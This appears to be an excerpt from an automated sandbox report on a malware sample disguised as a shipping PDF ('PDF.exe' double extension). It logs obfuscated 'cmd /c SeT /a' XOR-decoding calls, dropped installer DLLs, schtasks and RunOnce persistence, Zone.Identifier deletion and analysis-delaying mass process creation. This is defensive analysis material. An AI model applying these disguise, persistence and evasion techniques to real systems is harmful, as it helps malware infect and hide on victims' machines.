Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19697C2C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x172B6678^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0A6B6F7F^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03631637^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C382120^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7F303920^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x78713865^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6D7569^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x41616575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19697965^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x49796569^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307571^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216D75^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09703C6B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7578^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0363032C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B2D2024^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x55183929^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x563A7D2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09753C65^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216675^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697965^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5079653D^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0D697C35^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x172B6478^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630620^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4D1F3C29^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C093A2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x572D3037^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x11307537^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0C75752C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19686375^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697569^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x10307B37^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0A64721C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630720^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x583D132C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x553C7D2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7965^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4D1F3C29^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C093A2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x41616575^962155845"	Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_718D30C0 push eax; ret	1_2_718D30EE
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032840A0 push ebp; retf	1_2_0328424A
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03284BB8 push esp; ret	1_2_03284BB9
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03280BF5 push esi; iretd	1_2_03280BF6
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328B3C9 push 00000059h; iretd	1_2_0328B3D1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03284221 push ebp; retf	1_2_0328424A
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03283A13 push cs; iretd	1_2_03283A15
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03283250 push ss; ret	1_2_0328325E
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03285AE6 push 38EC4568h; retf	1_2_03285B30
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032882CD push cs; retf	1_2_032882CE
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032896D5 push 38D28568h; ret	1_2_03289708
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03287D4C push 22C116CCh; ret	1_2_03287D51
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03287D91 pushfd ; retf	1_2_03287DCE
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032879EB push FFFFFFB3h; iretd	1_2_03287A22
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328B1CA push eax; iretd	1_2_0328B1CD
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328ACE4 push ds; retf	1_2_0328AD09

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Code function: 1_2_718D1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_718D1BFF

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	File created: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll			Jump to dropped file
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	File created: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\nsExec.dll			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.eXe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp6DD1.tmp

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe:Zone.Identifier read attributes | delete

Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.exe

Static PE information: Original Shipment_Document.PDF.exe

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Mass process execution to delay analysis

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03631637^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C382120^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7F303920^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x78713865^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6D7569^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"
